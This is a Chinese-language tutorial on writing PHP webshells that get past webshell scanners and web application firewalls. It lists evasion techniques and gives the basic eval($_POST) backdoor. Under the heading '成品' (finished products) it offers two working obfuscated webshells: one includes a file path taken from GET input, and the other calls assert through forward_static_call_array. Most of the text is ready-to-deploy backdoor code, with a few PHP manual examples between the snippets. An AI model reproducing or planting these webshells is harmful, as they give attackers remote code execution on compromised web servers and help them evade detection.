因为有了webshell相当于可以执行php代码,不过现在又有许多webshell查杀工具,都可以对一般的webshell进行查杀,但是由于php的灵活性导致waf都可以被绕过,但是有因为waf的出现阻挡了很大的一部分攻击

最基本的webshell的组成

<?php @eval($_POST['cmd']);?>

常见绕过方法:

  • 字符串拼接 + 拼接特殊字符串 + 数组调用

  • 回调函数

  • 少见的函数

  • 进制转换

  • 算术运算

  • 编码加拼接

  • 正则匹配绕过

  • ... ...

0x01 Bypass

定义一个函数xz()

function xz() {}
## https://www.php.net/manual/zh/functions.user-defined.php
<?php
function foo($arg_1, $arg_2, /* ..., */ $arg_n)
{
    echo "Example function.\n";
    return $retval;
}
?>

函数名和 PHP 中的其它标识符命名规则相同。有效的函数名以字母或下划线打头,后面跟字母,数字或下划线。可以用正则表达式表示为: ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$

全局变量

global $b;
## https://www.cnblogs.com/linqingvoe/p/10928886.html
<?php
global $name;
$name = "why";
function changeName(){
    $name = "what";
}
changeName();
echo "my name is " . $name . "<br/>";
?>

获取全局变量,再进行拼接

$a = $_GET[$b];
$e = $a;
return $e;

全局变量赋值,调用函数

$b = "xz";
$c = xz();
$d = $c;

include($d);

把GET请求带入Base64编码后字符赋值给$d

## https://www.php.net/manual/zh/function.include.php
<?php

$color = 'green';
$fruit = 'apple';

?>

test.php
<?php

echo "A $color $fruit"; // A

include 'vars.php';

echo "A $color $fruit"; // A green apple

?>

0x02 成品

<?php
function xz(){
    global $b;
    $a = $_GET[$b];
    $e = $a;
    return $e;
}
?>
<?php
$b = "xz";
$c = xz();
$d = $c;

include($d);

还有其他成品

<?php
function xz($a,$b){
    forward_static_call_array($a,$b);
}
xz(assert,array($_GET["xz"]));
?>